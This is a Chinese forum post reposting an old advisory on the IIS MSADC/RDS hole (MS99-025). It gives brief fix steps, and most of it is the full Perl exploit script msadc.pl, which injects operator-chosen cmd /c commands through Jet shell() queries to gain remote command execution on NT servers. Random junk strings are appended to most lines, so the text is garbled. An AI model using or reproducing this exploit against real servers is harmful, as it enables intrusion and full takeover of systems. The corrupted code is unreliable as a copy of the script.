社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165696阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) n:i?4'-}  
P*M$^p  
涉及程序: nm3/-Q},  
Microsoft NT server :j=/>d],%  
?~g X7{>  
描述: 'i5V6yB  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #4Z]/D2G  
kCoTz"Z-  
详细: N4z(2.  
如果你没有时间读详细内容的话,就删除: %M/rpEE"b%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `VB]4i}u  
有关的安全问题就没有了。 =5PNH2  
f-M9OI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 k%[pZ 5.!  
|` +G7?)Y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7G^`'oZ  
关于利用ODBC远程漏洞的描述,请参看: c(tX761qz  
xbeVq P  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l[)ZEEP  
5qx,b&^w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 AnUOv 2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,*Vt53@E  
I,pI2  
这里不再论述。 r'C(+E (  
|i-d#x8  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: '&<T;V%  
! 4ZszQg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset nKP[U=ac  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Ba]J3Yp,z  
mV58&SZT  
9)Jc'd|  
#将下面这段保存为txt文件,然后: "perl -x 文件名" HS% P  
k8~/lE.Wy  
#!perl [kjmEMF9i  
# SW^/\cJ^  
# MSADC/RDS 'usage' (aka exploit) script 5NT?A,r"  
# HRPNZ!B  
# by rain.forest.puppy h 9B^U?<wT  
# 5V{ B,T  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 8,(FJ7OCT,  
# beta test and find errors! $G_,$U !  
@H?_x/qBT  
use Socket; use Getopt::Std; q')MKR*  
getopts("e:vd:h:XR", \%args); 6tKm'`^z4  
~jqG  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0A7 qO1%xw  
I`O)I&KH  
if (!defined $args{h} && !defined $args{R}) { tk"+PTGJT  
print qq~ 4IW7^Pq`P  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }E}b/ulg1  
-h <host> = host you want to scan (ip or domain) -X)KY_Xn@/  
-d <seconds> = delay between calls, default 1 second ~PoBvHi  
-X = dump Index Server path table, if available [J6*Q9B<V&  
-v = verbose y].vll8R  
-e = external dictionary file for step 5 D m|_;iO,  
%S2^i3  
Or a -R will resume a command session -@wnQ?  
5tIM@,.I/  
~; exit;} c|s*(WljY  
?4]#gC ks  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~;pv &s5}  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 7xmyjy%c  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :n4X>YL)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); :4ndU:.L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}  3e<FlH{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } FzDZ<dJ  
?&H1C4   
if (!defined $args{R}){ $ret = &has_msadc; T vEN0RV2  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (Nky?*  
+&w=*IAKZ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" q $Hg\ {c  
. "cmd /c "; XuQ7nlbnq  
$in=<STDIN>; chomp $in; |+^-b}0  
$command="cmd /c " . $in ; fCA/   
*=-o0c  
if (defined $args{R}) {&load; exit;} T%%+v#+  
E>BP b  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; qrFC4\q}  
&try_btcustmr; b :Knc$  
q=M\#MlL0'  
print "\nStep 2: Trying to make our own DSN..."; q 16jL,i  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y[A`r0  
=s2dD3Fr|  
print "\nStep 3: Trying known DSNs..."; t5%\`Yo?  
&known_dsn; HlkG^:)  
2^Tj@P7  
print "\nStep 4: Trying known .mdbs..."; rb/m;8v>  
&known_mdb; 0]F'k8yLN  
C3H q&TVf/  
if (defined $args{e}){ :?Xd&u0){  
print "\nStep 5: Trying dictionary of DSN names..."; 5 W<\J  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7VF^&6  
\~(ww3e  
print "Sorry Charley...maybe next time?\n"; H?dmNwkPY  
exit; PgKA>50a  
6~ *w~U  
############################################################################## Wp0e?bK_  
VtR?/+8X  
sub sendraw { # ripped and modded from whisker 5aF03+ko  
sleep($delay); # it's a DoS on the server! At least on mine... KPGX/l  
my ($pstr)=@_; `Z3Qx~f x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0L34)W  
die("Socket problems\n"); hrwQh2sm  
if(connect(S,pack "SnA4x8",2,80,$target)){ YU89m7cc'  
select(S); $|=1; ZWC-<QO"<  
print $pstr; my @in=<S>; 6,"fH{Bd  
select(STDOUT); close(S); }),tk?\  
return @in; AxaabS$\  
} else { die("Can't connect...\n"); }} Pez 7HKW:  
T K)Kq  
############################################################################## iY=M67V  
4T-9F  
sub make_header { # make the HTTP request >H@ zP8  
my $msadc=<<EOT 'L*nC T;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #?xhfSgr  
User-Agent: ACTIVEDATA RLypWjMx$  
Host: $ip hcw)qB,s  
Content-Length: $clen KzQ\A!qG  
Connection: Keep-Alive f6 zT  
6]i"lqb  
ADCClientVersion:01.06 D t~Jx\\  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gI&& LwT4  
z$3 3NM  
--!ADM!ROX!YOUR!WORLD! Kilq Jg1%C  
Content-Type: application/x-varg apxZ}  
Content-Length: $reqlen `U4R% qhWA  
Bi"7FF(z  
EOT g)*[W>M  
; $msadc=~s/\n/\r\n/g; qll)  
return $msadc;} ,3G8afo  
EDR;" G(N  
############################################################################## ta>:iQ a  
a!,q\p8<t0  
sub make_req { # make the RDS request ~q]+\qty4  
my ($switch, $p1, $p2)=@_; ^h+<Q%'a'  
my $req=""; my $t1, $t2, $query, $dsn; 10v4k<xb  
6V=69}  
if ($switch==1){ # this is the btcustmr.mdb query Q 'R@'W9  
$query="Select * from Customers where City=" . make_shell(); })Og sBk  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "5mdq-h(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} l`L}*Q- 5  
kji*7a?y  
elsif ($switch==2){ # this is general make table query n*6b*fl  
$query="create table AZZ (B int, C varchar(10))"; .6%-Il  
$dsn="$p1";} huu:z3{=J  
!>B|z=  
elsif ($switch==3){ # this is general exploit table query g{@q  
$query="select * from AZZ where C=" . make_shell(); fX).A`  
$dsn="$p1";} L]L-000D(  
-LL49P6  
elsif ($switch==4){ # attempt to hork file info from index server Cf`s:A5<J  
$query="select path from scope()"; ]/!#:  
$dsn="Provider=MSIDXS;";} {n8mE,;M  
3^l@!Qw  
elsif ($switch==5){ # bad query +K4d(!Sb  
$query="select"; *%L:soM'Ll  
$dsn="$p1";} `7qZ6Z3z@  
!/G2vF"  
$t1= make_unicode($query); `;-K/)/x  
$t2= make_unicode($dsn); 7aVQp3<  
$req = "\x02\x00\x03\x00"; 1hj']#vBu  
$req.= "\x08\x00" . pack ("S1", length($t1));  4I7}  
$req.= "\x00\x00" . $t1 ; >Ha tb bA  
$req.= "\x08\x00" . pack ("S1", length($t2)); &MnS( 82L  
$req.= "\x00\x00" . $t2 ; [*U6L<JI  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T]d9tX-  
return $req;} !es?GJq`  
M]YK]VyG  
############################################################################## Z@fMU2e=Z  
u1F@VV{  
sub make_shell { # this makes the shell() statement Jg=[!j0(  
return "'|shell(\"$command\")|'";} )CQ'kHT<e  
z=>U>  
############################################################################## <A +VS  
59:Xu%Hp  
sub make_unicode { # quick little function to convert to unicode 'Z#8]YP`  
my ($in)=@_; my $out; z{U2K '  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } (]0JI1 d  
return $out;} 8^CdE*a  
=Jfo=`da  
############################################################################## tgy*!B6a~  
4QODuyl2H  
sub rdo_success { # checks for RDO return success (this is kludge) !Mp.jE  
my (@in) = @_; my $base=content_start(@in); k3::5&  
if($in[$base]=~/multipart\/mixed/){ qc_c&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 62~8>71;'  
return 0;} :@zz5MB5@  
7Z0fMk  
############################################################################## Md_S};!QN6  
v'(p."g  
sub make_dsn { # this makes a DSN for us bcFG$},k  
my @drives=("c","d","e","f"); e[f}Lxln  
print "\nMaking DSN: "; Y.&nxT95=  
foreach $drive (@drives) { >[;+QVr;  
print "$drive: "; @l:\0cO  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . OnE#8*8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6qQdTp{i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 45e-A{G~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; n}(/>?/  
return 0 if $2 eq "404"; # not found/doesn't exist ]ovP^]]V  
if($2 eq "200") { x5_V5A/@LU  
foreach $line (@results) { #?8dInu>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _]btsv\)f  
} return 0;} `,|"rn#S  
[%'yHb~<  
############################################################################## Eb66GXF[  
o.IJ4'}aN  
sub verify_exists { c3,YA,skb!  
my ($page)=@_; 4SRX@/ #8*  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v7x %V%K  
return $results[0];} z97RNT|Y7U  
Os--@5e  
############################################################################## tB4dkWt.}  
Hd H,   
sub try_btcustmr { 9?$Qk0jc  
my @drives=("c","d","e","f"); 3oX\q/$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); NuZiLtC  
H&`0I$8m  
foreach $dir (@dirs) { fz'@ON  
print "$dir -> "; # fun status so you can see progress %O] ]La  
foreach $drive (@drives) { 7M;7jI/C  
print "$drive: "; # ditto yO\ .dp  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -\C;2&(  
$reqlenlen=length( "$reqlen" ); r:fMd3;gq  
$clen= 206 + $reqlenlen + $reqlen; BEWDTOY[  
Lky<L96  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ~>v v9-_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} pRyePxCDj)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $m{-I=  
UXpF$=  
############################################################################## \ vf&Ldk  
m,YBk<Bx  
sub odbc_error { _p0@1 s(U  
my (@in)=@_; my $base; SVKjhZK  
my $base = content_start(@in); bzYj`t?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %0 cFs'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l*eJa38  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3%gn:.9N  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DJ)Q,l*|N9  
return $in[$base+4].$in[$base+5].$in[$base+6];} o~<ith$A*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; >@?!-Fy5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ~jcdnm]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} M&auA  
fCC^hB]'  
############################################################################## RLl*@SEi"  
*K}h >b 1  
sub verbose { Egy#_ RT{  
my ($in)=@_; B?A]0S  
return if !$verbose; )b AOA  
print STDOUT "\n$in\n";} xZbiEDU  
@`"U D  
############################################################################## a}(xZ\n^D;  
cV8Bl="gqe  
sub save { 9BW"^$  
my ($p1, $p2, $p3, $p4)=@_; p1}umDb%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; rjk{9u1a"  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; u*n%cXY;J/  
close OUT;} ;5S'?fj  
Q8d-yJs&  
############################################################################## '0ks`a4q  
hbfN1 "z  
sub load { Tfsx&k\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Lt'FA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +UvT;"  
@p=<IN>; close(IN); /:S&1'=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3` ,u^ w  
$target= inet_aton($ip) || die("inet_aton problems"); AN)exU ?  
print "Resuming to $ip ..."; Bh<DqN  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; _m0B6?KJ  
if($p[1]==1) { Ht`kmk;I)  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *z?Vy<u G  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; P|U9f6^3  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `IC2}IiF  
if (rdo_success(@results)){print "Success!\n";} 2Q bCH}  
else { print "failed\n"; verbose(odbc_error(@results));}} P]h-**O  
elsif ($p[1]==3){ g/3t@7*<  
if(run_query("$p[3]")){ <D}yqq@|  
print "Success!\n";} else { print "failed\n"; }} |FED<  
elsif ($p[1]==4){ 4eD>DW  
if(run_query($drvst . "$p[3]")){ QYB66g:  
print "Success!\n"; } else { print "failed\n"; }} T~D2rt\  
exit;} uv#."_Va  
)\O;Rt(  
############################################################################## kg/<<RO  
n,Gvgf  
sub create_table { C3k[ipCN  
my ($in)=@_; Q}zd!*  
$reqlen=length( make_req(2,$in,"") ) - 28; U7_1R0h  
$reqlenlen=length( "$reqlen" ); gPJZpaS  
$clen= 206 + $reqlenlen + $reqlen; f3;.+hJ])  
my @results=sendraw(make_header() . make_req(2,$in,"")); yq6Gyoi<  
return 1 if rdo_success(@results); TmEJ!)*  
my $temp= odbc_error(@results); verbose($temp); DH IC:6EY  
return 1 if $temp=~/Table 'AZZ' already exists/; G*N}X3H:o  
return 0;} ==!k99`f,  
Ns2<wl-  
############################################################################## %+8" -u  
cPp<+ ts  
sub known_dsn { z79c30y]"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go j 3t,Cx  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", aGz$A15#  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", tS[@3h  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |#i|BVnoE  
<>71;%e;'  
foreach $dSn (@dsns) { +eUWf{(_  
print "."; Bx" eX>A8  
next if (!is_access("DSN=$dSn")); (qyT,K8  
if(create_table("DSN=$dSn")){ u%24% Q  
print "$dSn successful\n"; Rlwewxmr  
if(run_query("DSN=$dSn")){ G2 {R5F !  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >{1 i8 b@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} SoJ=[5W  
(8Inf_59  
############################################################################## &@U)  
k1_" }B5  
sub is_access { N+nv#]{  
my ($in)=@_; VRQD  
$reqlen=length( make_req(5,$in,"") ) - 28; hVGK%HCz&  
$reqlenlen=length( "$reqlen" ); @9AK!I8f  
$clen= 206 + $reqlenlen + $reqlen; ]1)#Y   
my @results=sendraw(make_header() . make_req(5,$in,"")); )RCva3Ul  
my $temp= odbc_error(@results); yM PZ}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); opIbs7k-  
return 0;} w l#jSj%pd  
/w/um>>K.  
############################################################################## #+ai G52+  
/RBIZ_  
sub run_query { +@mgb4_  
my ($in)=@_; W*WSjuFr2  
$reqlen=length( make_req(3,$in,"") ) - 28; 5sZqX.XVF  
$reqlenlen=length( "$reqlen" ); X%R)  
$clen= 206 + $reqlenlen + $reqlen; U$m[{r2M  
my @results=sendraw(make_header() . make_req(3,$in,"")); {8e4TD9E0  
return 1 if rdo_success(@results); )YY8`\F>1  
my $temp= odbc_error(@results); verbose($temp); \R|qXB $  
return 0;} N2.(0 G  
spG3"Eodi  
############################################################################## ?' /#Gt`  
M{)|9F  
sub known_mdb { H[[#h=r0f  
my @drives=("c","d","e","f","g"); I7]qTS[vg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L7"B`oa(p  
my $dir, $drive, $mdb; ^@f-Ni\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?Zh,W(7W  
XY)I~6$Y  
# this is sparse, because I don't know of many 79d< ,q;uR  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Sau?Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [J\! 2\Oo  
"\\system32\\certmdb.mdb", j`l'Mg  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <tI_u ~P  
2q}lSa7r  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", QdK PzjA  
"\\cfusion\\cfapps\\forums\\forums_.mdb", )u>/:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", L g2z `uv  
"\\cfusion\\cfapps\\security\\realm_.mdb", Aq,&p,m03  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", I~T~!^}U  
"\\cfusion\\database\\cfexamples.mdb", j}aU*p~N  
"\\cfusion\\database\\cfsnippets.mdb", K06x7W  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", As+^6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9R3YUW}s  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %T,cR>lw  
"\\cfusion\\database\\smpolicy.mdb", tdOox87YK  
"\\cfusion\\database\cypress.mdb", .`~=1 H\R"  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", r 3FUddF'  
"\\website\\cgi-win\\dbsample.mdb", B#, TdP]/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EY}*}-3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z@gEJ^"yA"  
); #these are just (Y~gItej  
foreach $drive (@drives) { FB }8  
foreach $dir (@dirs){ 8Y P7'Fz  
foreach $mdb (@sysmdbs) { c +N\uG4  
print "."; !n`Y^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ >o4Ih^VB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; J|@kF!6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ftRzgW);  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s0/y> ok  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Q7(I'  
vC%Hc/&.}  
foreach $drive (@drives) { "7}e~*bM?`  
foreach $mdb (@mdbs) { get$ r5  
print "."; )~C+nb '6/  
if(create_table($drv . $drive . $dir . $mdb)){ It8s#oq8  
print "\n" . $drive . $dir . $mdb . " successful\n"; -`ss7j&b3  
if(run_query($drv . $drive . $dir . $mdb)){ Co^GsUJ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; EncJB  
} else { print "Something's borked. Use verbose next time\n"; }}}} [?S-on.  
} I.{%e;Reg  
q 1~3T;Il  
############################################################################## k*|WI$  
k{E!X  
sub hork_idx { v O@7o  
print "\nAttempting to dump Index Server tables...\n"; gT#hF]c:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _Eus7  
$reqlen=length( make_req(4,"","") ) - 28; xi}3)5  
$reqlenlen=length( "$reqlen" ); NU(YllPB  
$clen= 206 + $reqlenlen + $reqlen; d_)VeuE2  
my @results=sendraw2(make_header() . make_req(4,"","")); GEJy?$9   
if (rdo_success(@results)){  ;GZ/V;S  
my $max=@results; my $c; my %d;  Fm`c  
for($c=19; $c<$max; $c++){ fa 2hQJ02  
$results[$c]=~s/\x00//g; f <LRM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; aB2t/ua  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !"bU|a  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -^WW7 g`  
$d{"$1$2"}="";} W3y9>]{x^  
foreach $c (keys %d){ print "$c\n"; } nRh.;G  
} else {print "Index server doesn't seem to be installed.\n"; }} q4]Qvf>  
`Oe"s_O#  
############################################################################## *ulkqpO  
;{Tf:j'g  
sub dsn_dict { mu@IcIb>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]?UK98uS\A  
while(<IN>){ JqP~2,T  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; W+ v#m>G  
next if (!is_access("DSN=$dSn")); { v#wU  
if(create_table("DSN=$dSn")){ Xo ,U$zE  
print "$dSn successful\n"; {LqahO*  
if(run_query("DSN=$dSn")){  ?h3t"9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9e0t  
print "Something's borked. Use verbose next time\n";}}} 63T4''bwu  
print "\n"; close(IN);} 3u&)6C?YM  
2W6t0MgZ  
############################################################################## iE* Y@E5x0  
B<!WAw+  
sub sendraw2 { # ripped and modded from whisker M:R|hR{=*  
sleep($delay); # it's a DoS on the server! At least on mine... e<duD W$X  
my ($pstr)=@_; Q=#@g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *9|*21  
die("Socket problems\n"); :\IZ-  
if(connect(S,pack "SnA4x8",2,80,$target)){ FGu#Pa  
print "Connected. Getting data"; s E0ldN"  
open(OUT,">raw.out"); my @in; xAu&O\V  
select(S); $|=1; print $pstr; Zz^!QlF  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} `+5,=S  
close(OUT); select(STDOUT); close(S); return @in; fB`7f $[  
} else { die("Can't connect...\n"); }} P"<,@Mn  
f#| wb~  
############################################################################## %Z { 7*jtE  
z99jW<*0  
sub content_start { # this will take in the server headers I@l }%L  
my (@in)=@_; my $c; N5Ih+8zT  
for ($c=1;$c<500;$c++) { (laVmU?I7  
if($in[$c] =~/^\x0d\x0a/){ 3AcCa>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 'WcP+4c  
else { return $c+1; }}} {7d\du&G  
return -1;} # it should never get here actually V[avV*;3i  
+uB.)wr  
############################################################################## cnR18NK  
:i/uRR  
sub funky { 0%;y'd**Ck  
my (@in)=@_; my $error=odbc_error(@in); *L=F2wW  
if($error=~/ADO could not find the specified provider/){ BiD}C  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; TA>28/U#  
exit;} *IV_evgM7  
if($error=~/A Handler is required/){ 6w*q~{"(  
print "\nServer has custom handler filters (they most likely are patched)\n"; n--w-1  
exit;} `Uy4>?  
if($error=~/specified Handler has denied Access/){ M:cW/&ZJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,&0iFUwN_  
exit;}} Or"+d 5  
Usf7 AS=  
############################################################################## w/Y6m.i1  
@{o3NR_  
sub has_msadc { W'f)W4D$6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ,]Q i/m  
my $base=content_start(@results); S|/Za".Gr  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); /..a9x{At>  
return 0;} ibv.M=  
H* vd  
######################## OE5JA8/H  
F8>J(7On  
\4"01:u'  
解决方案: mH5[(?   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 95b65f  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章  Mt   
f1 TYQ?e  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五